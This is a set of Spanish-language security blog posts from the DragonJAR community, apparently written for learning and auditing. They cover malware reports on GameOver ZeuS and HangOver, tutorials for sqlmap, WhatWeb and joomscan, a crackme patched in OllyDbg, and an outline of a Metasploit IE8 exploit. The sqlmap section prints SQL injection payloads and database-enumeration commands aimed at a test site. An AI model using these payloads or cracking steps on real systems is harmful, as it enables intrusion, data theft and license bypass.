La Comunidad DragonJAR

El título del post da referencia a un informe que se ha liberado hace unos días por parte del CERT de Polonia. El informe detalla el funcionamiento del troyano bancario ZEUS/P2P también conocido como GameOver.

Como sabéis un troyano bancario tiene como finalidad acabar robando dinero de las cuentas de particulares y de empresas. Para ello, utiliza inyecciones en el navegador, cambia el archivo hosts de la máquina, entre otras acciones.

Si alguien quiere tener mas información, puede consultar esta infografía de Kaspersky.

La versión Zeus y la versión P2P de Zeus son distintas.

¿Que cambios hay en la nueva versión?

• Comunicación P2P: La estructura tradicional del malware es que cuando infecta la máquina y el troyano roba los datos, los comunica a su panel de control central. La configuración i/o nuevas versiones del malware también se descarga del C&C.
• DGA: En el caso de que el troyano no pueda comunicarse con la red P2P, genera dominios de manera automática. Estos dominios se pueden generar en base a distintos factores pero el mas usado suele ser en base al día y el mes.
• Recursos firmados: Para prevenir la distribución de bots firmados por alguien que no sea el BotMaster, esta versión de GameOver usa clave del tipo RSA.
• Cambios en el algoritmo de compresión: La versión de Zeus anterior usa ULC una implementación Open Source de del algoritmo NRV. En esta nueva versión usa funciones de  una librería zlib.
• Cifrado adicional: Los datos almacenados se guardan con una sola clave.
• DDoS: Es capaz de lanzar ataques de este tipo.
• HTTP  via P2P: Es capaz de usar servidores P2P para las comunicaciones HTTP.
• PCRE: La implementación de PCRE para la creación de reglas.
• En el informe también se comenta  que parte del código de la versión 2.0.8.9 ha sido reescrito.

Webfilters

Dependiendo del dominio que tenga configuradoel troyano capturará los datos de envio o no.

En el archivo de configuración las URL vienen ya configuradas con unos símbolos.

• Símbolo ! => Se capturará toda la información que se envíe.
• Símbolo @ => Se hará una captura de pantalla
• Símbolo !*=>Se ignorará todo lo que venga de esas URL

Webinjects.

Los troyanos bancarios se apoyan en un ficheros de inyecciones, cuando hookean el navegador y detectan que el usuario navega hacia la página que tiene configurada el troyano que va a atacar inyectan el código en sitios específicos.

En la segunda entrega seguimos repasando mas aspectos del informe.

Ha llovido mucho desde que Jaime publicara aquí la noticia de SQLmap. Hoy vamos a ir un poco mas allá de presentar la herramienta y vamos a ver algunos ejemplos básicos.

Recordad que deberéis de usar la herramienta con responsabilidad.

Lo primero de todo es bajar desde Github la herramienta:

marc@dakunix ~/tools/pentest $ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Clonar en «sqlmap-dev»…
remote: Counting objects: 41965, done.
remote: Compressing objects: 100% (9416/9416), done.
remote: Total 41965 (delta 32592), reused 41824 (delta 32454)
Receiving objects: 100% (41965/41965), 38.76 MiB | 164 KiB/s, done.
Resolving deltas: 100% (32592/32592), done.

En nuestro caso usaremos una web de pruebas. Existen multitud de entornos para practicar estos ejercicios, buscad el que mas os guste.

Vamos a ver los ejemplos mas comunes de SQLmap.

Comprobando si la web es vulnerable.

SQLmap realiza todas las pruebas de manera automática, si la web tiene inyección sql, hará todo el proceso por nosotros.

Como veis ha detectado que el backend es MYSQL y que el parámetro es inyectable.

Resultado de SQLmap

Una vez que SQLmap haya encontrado la inyección nos la mostrará al final del report.

sqlmap identified the following injection points with a total of 27 HTTP(s) requests:
—
Place: GET
Parameter: cat
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 3068=3068

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: cat=1 AND (SELECT 2151 FROM(SELECT COUNT(*),CONCAT(0x3a6863653a,(SELECT (CASE WHEN (2151=2151) THEN 1 ELSE 0 END)),0x3a7264793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query
Title: MySQL UNION query (NULL) – 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a6863653a,0x44527a73776f4648694b,0x3a7264793a),NULL,NULL,NULL,NULL#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cat=1 AND SLEEP(5)

Encontrando usuario y base de datos.

La herramienta posee unos flags con los que podremos extraer información del sistema remoto que estamos auditando.

marc@dakunix ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –dbs

El flag –dbs hará que el servidor muestre las bases de datos disponibles.

Tenemos dos bases de datos acuart y information_schema.

Ahora vamos a ver con que usuario se está ejecutando MYSQL.

EjecutamosSQLmap con el flag –current-user

marc@dakunix ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –current-user

Eso hará que aparezca por pantalla el usuario.

Ya tenemos el nombre del usuario pero no podemos saber si es administrador o no, así  que lo comprobamos con SQLmap.

El flag:

marc@dakunix ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –is-dbs –current-db

Obtenemos los rsultados…

[15:14:30] [INFO] fetching current database
current database: ‘acuart’
[15:14:30] [INFO] testing if current user is DBA
[15:14:30] [INFO] fetching current user
[15:14:30] [WARNING] in case of continuous data retrieval problems you are advised to try a switch ‘–no-cast’ or switch ‘–hex’
current user is DBA: False
[15:14:30] [INFO] fetched data logged to text files under ‘/home/marc/tools/pentest/sqlmap-dev/output/testphp.vulnweb.com’

Estos son algunos de los ejemplos con nmap, mañana veremos mas.

Los ataques entre instituciones, gobiernos, países, empresas cada vez sen mas claros. La ciberguerra es algo que siempre ha estado presente pero que es hasta no hace poco tiempo que se está expresando públicamente.

Norman ha liberado un report sobre una investigación que ha realizado durante mas de un mes.

He estado leyendo el report y he querido compartirlo aquí en la comunidad DragonJAR.

La historia empieza cuando la empresa Telenor avisa de que  han sufrido una intrusión en sus instalaciones. Norman empieza la investigación y descubren patrones de ataques. La infraestructura detectada en la investigación pertenece presuntamente a India. Con las evidencias que obtienen persiguen las pistas que van encontrando y descubren que los atacantes no son muy buenos escondiendo sus pruebas. Estirando del hilo de las pruebas encontradas encontraron directorios accesibles con la información que habían robado entre otras cosas.

El espionaje industrial, parece uno de los objetivos, ESET publicó información sobre ello => http://www.welivesecurity.com/2013/05/16/targeted-threat-pakistan-india/

F-Secure publicó una entrada sobre Spyware para MAC que encontraron en el evento del Oslo freedom forum, han encontrado relación entre ambos casos por el mismo developer, mismo Apple iD etc..=> https://www.f-secure.com/weblog/archives/00002554.html

Los países que han sufrido los ataques han sido diversos, entre ellos países Bajos, Pakistán, EE.UU., Irán, China, Taiwán, Tailandia, Jordania, Indonesia, Reino Unido, Alemania, Austria, Polonia, Rumania etc..

Para conseguir infectar  a los usuarios se han usado los clásicos ataques de Spear Phishing via email. Los adjuntos que había en los correos explotaban los siguientes CVE: CVE-2012-0158, CVE-2010-3333, CVE-2012-0422 CVE-2012

En el informe encontraron una infraestructura muy grande en la que operaban, mas de 600 dominios. Incluso mientras realizaban el informe. Han proporcionado un mapa con los C&C e infraestructura en general:

En el informe han colocado los dominios, ip’s y MD5 relacionados con el caso, he decidido investigar que parte de la infraestructura todavía seguía viva.

IP’s que había en el informe de Norman: 

seifreed@hl20:~/server$ wc -l ips.txt
239 ips.txt

¿Cuantas de estas IP’s siguen activas?

seifreed@hl20:~/server$ wc -l ips_up.txt
116 ips_up.txt

Dominios que había en el informe de Norman:

seifreed@hl20:~/server$ wc -l blacklist_domains.txt
595 blacklist_domains.txt

¿Cuantos de estos dominios siguen activos?

seifreed@hl20:~/server$ wc -l host_alive_with_ips.txt
376 host_alive_with_ips.txt

Dominios e IP’s activas

Con tal de hacer un poco el seguimiento de la infraestructura presentada en el informe de Norman, comprobé cuales de esos dominios todavía resolvían y que procedencia tenían.

Dominios.

En el informe de Norman existían 595 dominios, cuando he realizado la investigación habían 376 dominios activos. He realizado un gráfico con los resultados obtenidos.

IP’s

En el informe de Norman habían reportado 239 ip’s relacionadas con el caso. Después de la revisión por mi parte he encontrado 116 Ip’s activas. He realizado un gráfico de la procedencia de estas IP’s

Como veis la infraestructura detectada por Norman permanece todavía activa y  es que el trabajo por parte de los CSIRT e ISP para el cierre de estas IP’s y dominios maliciosos no siempre es tan rápido como ellos querrían.

Para ver los reportes de Norman, podemos visitar

Informe ejecutivo => Norman HangOver report (Executive Summary)

Informe de la infraestructura => Unveiling an Indian Cyberattack Infrastructure

Apéndices del informe => Unveiling an Indian Cyberattack Infrastructure (Appendixes)

Creo que si publicara en Twitter que he encontrado una vulnerabilidad del tipo 0day de Java a nadie le sorprendería…

Llevamos arrastrando en el mundo de la seguridad informática desde hace tiempo varios problemas de seguridad en productos como Adobe Reader y Java. De echo a los autores de los Exploits Kits les estamos dando trabajo ya que han de correr para integrar estas últimas vulnerabilidades que han surgido en sus kits de exploits.

Leyendo un artículo de los cracks de ESET, han recopilado una tabla con los 10 CVE mas explotados:

Una de las cosas que tendríamos que configurar en nuestros equipos es que el Java empiece a actualizarse de manera automática!

Servicios como los que oferta Rapid7 que permiten escanear para saber como de seguro es tu navegador.

No hay excusa, actualiza tu Java!

Vamos a cambiar la dinámica de las últimas entradas que han habido por aquí y vamos ha pegarle hoy ha algo mas técnico pero para el alcance de todo el mundo.

Vamos a entrar en la ingeniería inversa para ver que se pueden hacer cosas muy chulas, pero sin entender todo el proceso, para que la entrada en el mundillo sea mas apetecible….

Tenemos el siguiente programa que nos pregunta por un serial:

Este es el aspecto que tiene la aplicación, como veis algo muy sencillo, nos pide un password, si le metemos uno cualquiera…

Evidentemente nos dará que la contraseña es incorrecta, así que toca paso de abrir el debugguer para ver como podemos solventar este problema.

Abrimos OllyDebugguer y la aplicación que nos pide el password.

Si nunca has abierto Olly, tranquilo, no has de entenderlo todo, por no decir que muy poco, es un artículo de introducción.

Si os acordáis cuando metíamos el password nos daba un error y nos decía que era incorrecto…

Este mensaje es un string, así que lo que haremos será buscar todos los strings del binario.

Usamos la opción All references text strings.

Lo que nos saldrá será lo siguiente:

Ya tenemos todas las referencias a los strings dentro del binario. Ahora lo que haremos será ir a la dirección de memoria donde dice el mensaje de que se ha introducido un serial incorrecto.

Primera manera de aceptar el password

Una de las cosas que podemos hacer para que nos acepte el serial es modificar en memoria el binario para que nos acepte cualquier serial. Una vez modificado el binario podemos guardar el resultado para tener un binario parcheado, pero primero vamos a ver que instrucciones nos encontramos.

En la imagen podemos ver instrucciones como:

CALL: Llama/Salta a la dirección/función indicada

PUSH: Guarda el valor en la pila.

JMP: Salta a la dirección indicada.

Lo que vamos ha hacer nosotros es modificar la dirección de memoria 00401299. Aquí lo que hay es un JE que significa que cuando el programa llegue aquí saltará si es igual o si es cero.

Nosotros los cambiaremos por un JnE, que saltará si NO es igual o si no es cero. Esto lo que hará es que cualquier cosa que introduzcamos salte a que el serial es correcto. Hacemos Assemble con Olly en esa dirección de memoria.

En este caso tenemos dos soluciones posibles, colocar un JMP, que saltará hacia la parte de el serial es correcto, o un JnE que le pongamos lo que le pongamos dará OK también. A cada cual elija el que mas le guste.

Hacemos Assemble y corremos el programa con F9, metemos cualquier serial y…

Recordar que en ningún momento hemos modificado el binario, si queremos guardarnos una copia de lo que hemos modificado solo tendremos que hacer:

Y seleccionamos Selection.

Segunda manera de sacar el password

Vamos a volver aquí:

Ahora lo que vamos ha hacer es meter un breakpoint (apretamos F2) en el CALL. Esto lo que hará es que el programa, parará su ejecución en ese CALL, la dirección de memoria en concreto es: 00401291.

Ejecutamos el programa y parará en el CALL donde hemos puesto el breakpoint, entonces apretamos F7 para entrar dentro del call y F8 para ir yendo instrucción a instrucción para que en la parte de registers de Olly nos acabe mostrando el password.

Y aquí hemos acabado.

Antes de que me lo diga algún lector, con un strings sacábamos el password que estaba harcodeado en el binario.

m0tNaF-EmKCARc
Check Status
Wrong Password! Keep trying, you’ll get it!
You got it! Your now a cracker!

Espero que este artículo os anime a poneros con la ingeniería inversa / cracking, es un mundo fascinante.

Hoy en DragonJAR os enseñamos otra herramienta que nos sirve para identificar que tecnologías usa un servidor web.

Esto nos será muy útil ya que nos permitirá poder enfocar un ataque/análisis mas concreto.

Con los ataques de denegación de servicio los administradores optan por usar servicios de protección para que sus sitios web no caigan ante un ataque.

Uno de esos servicios es Cloudfare, veamos un gráfico para saber mejor como funciona:

Servicios como Cloudfare o Akamai tendrán ciertas partes del sitio web protegido pero rara vez tendrán todo el sitio akamaizado o en la red de Cloudfare.

Podemos tratar de identificar un punto de entrada que no pase por este sitio web.

Vamos a ver unos ejemplos de uso con WhatWeb:

Bajamos WhatWeb y escaneamos el primer sitio web:

darkmac:WhatWeb marc$ ./whatweb www.ub.edu
http://www.ub.edu [302] Apache, Country[EUROPEAN UNION][EU], HTTPServer[Apache], IP[161.116.100.2], RedirectLocation[http://www.ub.edu/web/ub/ca/], Title[302 Found]
http://www.ub.edu/web/ub/ca/ [200] Apache, Country[EUROPEAN UNION][EU], DublinCore, Google-Maps, HTTPServer[Apache], IP[161.116.100.2], Script, Title[Universitat de Barcelona - Home]

Podemos ver la información que ha extraído WhatWeb, vamos a ver otro caso.

darkmac:WhatWeb marc$ ./whatweb http://www.whitehouse.gov
http://www.whitehouse.gov [200] AddThis, Country[EUROPEAN UNION][EU], Drupal, Frame, IP[195.59.150.147], OpenGraphProtocol[100000095507875], Script, Title[The White House], UncommonHeaders[x-drupal-cache,x-varnish,x-ah-environment,x-pf-uncompressing], Varnish, X-UA-Compatible[IE=9]

Podemos ver que no ha podido identificar que se trata de un Drupal pero vemos cosas como:

x-drupal-cache

Por lo que sabemos que hay un Drupal detrás.

Si lo lanzamos encima de otra web:

darkmac:WhatWeb marc$ ./whatweb https://www.bicing.cat
https://www.bicing.cat [200] Apache[2.2.16], Country[UNITED KINGDOM][GB], Drupal, Frame, HTTPServer[Debian Linux][Apache/2.2.16 (Debian)], IP[62.97.112.138], JQuery[1.9.1], MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.3.3-7+squeeze15], PasswordField[pass], Script, Title[Bicing | Mou-te en Bicing, cuida de tu i de Barcelona], UncommonHeaders[x-generator], X-Powered-By[PHP/5.3.3-7+squeeze15]

Podemos ver que ha identificado que es un Drupal pero que también ha extraído que es una distribución Debian y la versión.

Habrá sitios webs de los que casi no podremos obtener información.

darkmac:WhatWeb marc$ ./whatweb http://www.mossad.gov.il
http://www.mossad.gov.il [200] Country[ISRAEL][IL], IP[147.237.72.71], Script

Otro caso:

darkmac:WhatWeb marc$ ./whatweb http://www.wikipedia.org
http://www.wikipedia.org [200] Apache, Country[NETHERLANDS][NL], HTML5, HTTPServer[Apache], IP[91.198.174.225], probably MediaWiki, Script, Title[Wikipedia], UncommonHeaders[x-content-type-options], X-Cache[sq63.wikimedia.org, MISS from amssq38.esams.wikimedia.org, HIT from amssq43.esams.wikimedia.org,sq63.wikimedia.org:3128, HIT from amssq38.esams.wikimedia.org:3128, HIT from amssq43.esams.wikimedia.org:80]

Aquí podemos ver que dice cosas como que probablemente se trata de MediaWiki.

¿Como sabemos que versiones detecta?

Pues podemos saberlo preguntandole a WhatWeb sobre un CMS en concreto por ejemplo

darkmac:WhatWeb marc$ ./whatweb -I joomla
WhatWeb Plugin Information
Searching for joomla
——————————————————————————–
Plugin Name Details
FreeJoomlas_com
Author: Brendan Coles <[email protected]>
Version: 0.1
Examples: 9
Matches: 1
Passive function: No
Aggressive function: No
Version detection: No
Description:
FreeJoomlas.com – We provide free hosting for your Joomla portals. It
is absolutely FREE. Moreover, we provide FREE subdomains
(YOURNAME.FreeJoomlas.com) and UNLIMITED data transfer. – homepage:

http://www.freejoomlas.com/

——————————————————————————–
Joomla
Author: Andrew Horton
Version: 0.7
Examples: 18
Matches: 4
Dorks: 1
Passive function: Yes
Aggressive function: Yes
Version detection: Yes
Description:
Opensource CMS written in PHP. Aggressive version detection compares
just 5 files, valid for versions 1.5.0-1.5.22 and 1.6.0-1.6.1.
Homepage: http://joomla.org.

Como veis WhatWeb nos es muy útil y nos puede dar gran información sobre un sitio web en concreto.

Podéis descargar WhatWeb desde aquí

http://www.morningstarsecurity.com/research/whatweb

El uso de los CMS para la creación de páginas webs es algo que está a la orden del día.

Ya hace años que este tipo de gestores de contenido se están actualizando ofreciendo a los usuarios cada vez mas funcionalidades.

El usuario que instala este tipo de gestores no ha de tener ni idea de informática, ya se han encargado de hacerlo muy sencillo para que se pueda instalar.

El uso masivo de este tipo de plataformas en usuarios sin los conocimientos necesarios y sin una concienciación en seguridad, hace que los ciber-criminales tengan com objetivo este tipo de plataforma.

Es por eso que han surgido herramientas que nos harán la tarea de analizar estos CMS en busca de vulnerabilidades.

En el artículo de hoy usaremos joomscan, una herramienta de Owasp para el análisis de CMS del tipo Joomla.

Primero accedemos al sitio web de la herramienta => https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project

Nos la bajamos y empezamos a usarla.

Para ejecutarla es sencillo

perl joomscan.pl -u WEB

Con eso Joomscan hará el resto, vamos a ver el output de un escaneo realizado.

darkmac:trunk marc$ perl joomscan.pl -u WEB
..|”|| ‘|| ‘||’ ‘|’ | .|”’.| ‘||”|.
.|’ || ‘|. ‘|. .’ ||| ||.. ‘ || ||
|| || || || | | || ”|||. ||…|’
‘|. || ||| ||| .””|. . ‘|| ||
”|…|’ | | .|. .||. |’….|’ .||.

=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.4
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
Update by: Web-Center, http://web-center.si (2011)
=================================================================
Vulnerability Entries: 673
Last update: October 22, 2012

Target:

Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
## Checking if the target has deployed an Anti-Scanner measure

[!] Scanning Passed ….. OK
## Detecting Joomla! based Firewall …

[!] No known firewall detected!
## Fingerprinting in progress …

~Generic version family ……. [1.5.x]

~1.5.x en-GB.ini revealed [1.5.12 - 1.5.14]

* Deduced version range is : [1.5.12 - 1.5.14]

## Fingerprinting done.
## 4 Components Found in front page ##

com_joomap com_profesores
com_eventlist com_content

Vulnerabilities Discovered
==========================

# 1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes

# 2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts. Read: http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20PROTECT.pdf
Vulnerable? N/A

# 3
Info -> Core: Multiple XSS/CSRF Vulnerability
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Exploit: A series of XSS and CSRF faults exist in the administrator application. Affected administrator components include com_admin, com_media, com_search. Both com_admin and com_search contain XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities.
Vulnerable? No

# 4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Exploit: When running a site under SSL (the entire site is forced to be under ssl), Joomla! does not set the SSL flag on the cookie. This can allow someone monitoring the network to find the cookie related to the session.
Vulnerable? No

# 5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Exploit: Some values were output from the database without being properly escaped. Most strings in question were sourced from the administrator panel. Malicious normal admin can leverage it to gain access to super admin.
Vulnerable? No

# 6
Info -> Core: Missing JEXEC Check – Path Disclosure Vulnerability
Versions effected: 1.5.11 <=
Check: /libraries/phpxmlrpc/xmlrpcs.php
Exploit: /libraries/phpxmlrpc/xmlrpcs.php
Vulnerable? No

Nos ha echo mediante fuerza bruta la comprobación de los plugins instalados.

Este script también es capaz de identificar medidas de protección que tengamos activadas:

## Checking if the target has deployed an Anti-Scanner measure

[!] Scanning Passed ….. OK
## Detecting Joomla! based Firewall …

[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! J-Firewall (com_jfw) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla! firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] FWScript(from firewallscript.com) is likely to be used.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
[!] It is likely that webmaster routinely checks insecurities.

[!] A security scanner (com_securityscanner/com_securityscan) is detected.

[!] A Joomla! jSecure Authentication is detected.
[!] You need additional secret key to access /administrator directory
[!] Default is jSecure like /administrator/?jSecure

[!] A Joomla! GuardXT Security Component is detected.
[!] It is likely that webmaster routinely checks for insecurities.

[!] A Joomla! JoomSuite Defender is detected.
[!] The vulnerability probing may be logged and protected.

Joomscan puede complementar nuestras pruebas manuales en una auditoría web y también otras apliaciones como w3af o similares, sin duda a tener en cuenta.

Un 0day es de las cosas mas peligrosas que nos podemos encontrar en el ámbito de usuarios domésticos y como administradores de sistemas en empresas. Al ser una vulnerabilidad no conocida es difícil aplicar una mitigación para evitar la explotación de la vulnerabilidad.

El exploit ha sido conocido a raíz de una infección que ha sufrido la web del departamento de trabajo norteamericano. Al principio se creía que se trataba de otro exploit del que ya existía un parche que solucionaba el fallo, concretamente el CVE-2012-4792.

En una investigación sobre la explotación del fallo se vio que se podía explotar dicho fallo en cualquier sistema operativo con Internet Explorer 8 como navegador. A raíz del fallo ya se ha desarrollado un módulo para Metasploit para la explotación.

Explotación del fallo con Metasploit

Actualizamos Metasploit y lo iniciamos

Metasploit permite la búsqueda por CVE, así que será más fácil encontrar el módulo que necesitamos

Una vez que tenemos el módulo, miramos que opciones hay disponibles para hacerlo funcionar

Una vez que configuremos las opciones que necesitamos, lanzamos el exploit. En este módulo solo hay dos opciones requeridas.

Cuando el usuario/víctima navegue hacia la URL que hemos preparado con Metasploit conseguiremos el acceso como SYSTEM en la máquina remota

Metasploit lanzará el exploit

Que exista módulo de Metasploit hace que una auditoría en cliente facilite la intrusión, pero  para el usuario de a pie y los usuarios de las redes de empresa quedan expuestos a la explotación de este fallo. Como medida para que no se pueda explotar el fallo actualizar el navegador en la medida de lo posible.

La próxima fecha para la publicación de parches es el 14 de Mayo, aunque no se rechaza una publicación de parches fuera del ciclo habitual.

Referencia en el blog de Rapid7